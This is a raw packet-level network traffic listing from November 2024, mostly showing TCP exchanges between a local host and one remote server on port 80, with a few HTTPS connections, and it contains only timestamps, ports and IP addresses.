Nov 21, 2024 19:58:50.537741899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.538296938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.538383007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.538417101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.538475990 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.538994074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.539084911 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.539102077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.539145947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.539711952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.539777040 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.539798021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.539849997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.540393114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.540496111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.540502071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.540560961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.541110039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.541167021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.541224003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.541291952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.541862011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.541871071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.541918039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.542521954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.542582989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.542619944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.542676926 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.543205976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.543272972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.543370008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.543487072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.543905020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.543963909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.543984890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.544086933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.544634104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.544768095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.544892073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.545316935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.545368910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.545456886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.545500994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.546026945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.546076059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.546134949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.546327114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.546703100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.546755075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.546767950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.546796083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.547477007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.547486067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.547579050 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.548186064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.548273087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.548276901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.548352003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.548916101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.548985958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.548990011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.549051046 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.549113989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.549302101 CET	49803	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.549321890 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.549609900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.549654961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.549669027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.549702883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.550211906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.550303936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.550348043 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.550407887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.550409079 CET	49803	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.550470114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.550807953 CET	49803	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.550868034 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.550898075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.551017046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.551027060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.551096916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.551136971 CET	49803	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.551143885 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.551692009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.551772118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.551784992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.551819086 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.552324057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.552386045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.552453041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.552509069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.553091049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.553153992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.553186893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.553316116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.553781986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.553843975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.553935051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.553987026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.554480076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.554580927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.554677010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.554826021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.555118084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.555298090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.555358887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.555836916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.555913925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.555927038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.556032896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.556570053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.556628942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.556812048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.556917906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.557241917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.557301044 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.557441950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.557523966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.557909012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.557976007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.558007956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.558295012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.558624029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.558815002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.558866978 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.559335947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.559396982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.559422016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.559523106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.560043097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.560080051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.560147047 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.560786009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.560929060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.590684891 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.590939045 CET	49806	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.590960979 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.591300011 CET	443	49801	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.591527939 CET	49801	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.591543913 CET	443	49801	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.592005968 CET	443	49801	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.592434883 CET	49801	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.592449903 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.592513084 CET	49806	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.592524052 CET	443	49801	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.593161106 CET	49806	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.593242884 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.593312979 CET	49801	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.593405008 CET	49806	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.593414068 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.600368023 CET	49803	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.606810093 CET	443	49802	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.607070923 CET	49802	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.607089043 CET	443	49802	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.608210087 CET	443	49802	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.608720064 CET	49802	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.608891964 CET	49802	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.608894110 CET	443	49802	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.612997055 CET	443	49804	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.613215923 CET	49804	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.613236904 CET	443	49804	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.614665985 CET	443	49804	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.614722013 CET	49804	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.615076065 CET	49804	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.615154982 CET	443	49804	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.615293026 CET	49804	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.615307093 CET	443	49804	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.635335922 CET	443	49801	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.646421909 CET	49806	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.652281046 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.652671099 CET	49805	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.652683973 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.653656960 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.653713942 CET	49805	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.654181957 CET	49805	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.654241085 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.654342890 CET	49805	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.654351950 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.655338049 CET	443	49802	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:50.661549091 CET	49804	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.661551952 CET	49802	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.695255995 CET	49805	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:50.734556913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.734630108 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.734688044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.734867096 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.734920025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.734971046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.735081911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.735261917 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.735594034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.735656977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.735800982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.735856056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.735918999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.735965967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.736452103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.736510992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.736565113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.736792088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.737158060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.737210035 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.737265110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.737333059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.737876892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.737929106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.737973928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.738039970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.738558054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.738620043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.738667011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.738717079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.739337921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.739388943 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.739470005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.739590883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.739975929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.740040064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.740081072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.740127087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.740664005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.740710974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.740782022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.740829945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.741384983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.741509914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.741539001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.741584063 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.742074013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.742145061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.742311001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.742408991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.742777109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.742928028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.742995977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.743457079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.743508101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.743573904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.743622065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.744199038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.744288921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.744338989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.744884014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.744935036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.744983912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.745033026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.745596886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.745646954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.745683908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.745734930 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.746314049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.746351957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.746396065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.747000933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.747080088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.747095108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.747162104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.747725010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.747792959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.747840881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.747891903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.748384953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.748434067 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.748496056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.748594999 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.749135971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.749202967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.749252081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.749877930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.749936104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.749962091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.750149965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.750543118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.750591040 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.750633001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.750793934 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.751204967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.751246929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.751264095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.751945019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.751985073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.751998901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.752129078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.752192020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.752644062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.752700090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.752729893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.752782106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.753341913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.753391981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.753424883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.753503084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.754031897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.754105091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.754134893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.754184961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.754729033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.754780054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.754790068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.754842997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.755465031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.755522966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.755578995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.755625010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.756122112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.756180048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.756279945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.756347895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.756827116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.756863117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.756906033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.756968975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.757505894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.757565022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.757611990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.757756948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.758214951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.758268118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.758306026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.758356094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.758897066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.758946896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.759022951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.759068966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.759622097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.759674072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.759706020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.759726048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.760323048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.760391951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.760432005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.760478020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.761130095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.761179924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.761246920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.761281967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.761720896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.761823893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.761847973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.761872053 CET	49746	80	192.168.2.8	185.215.113.206
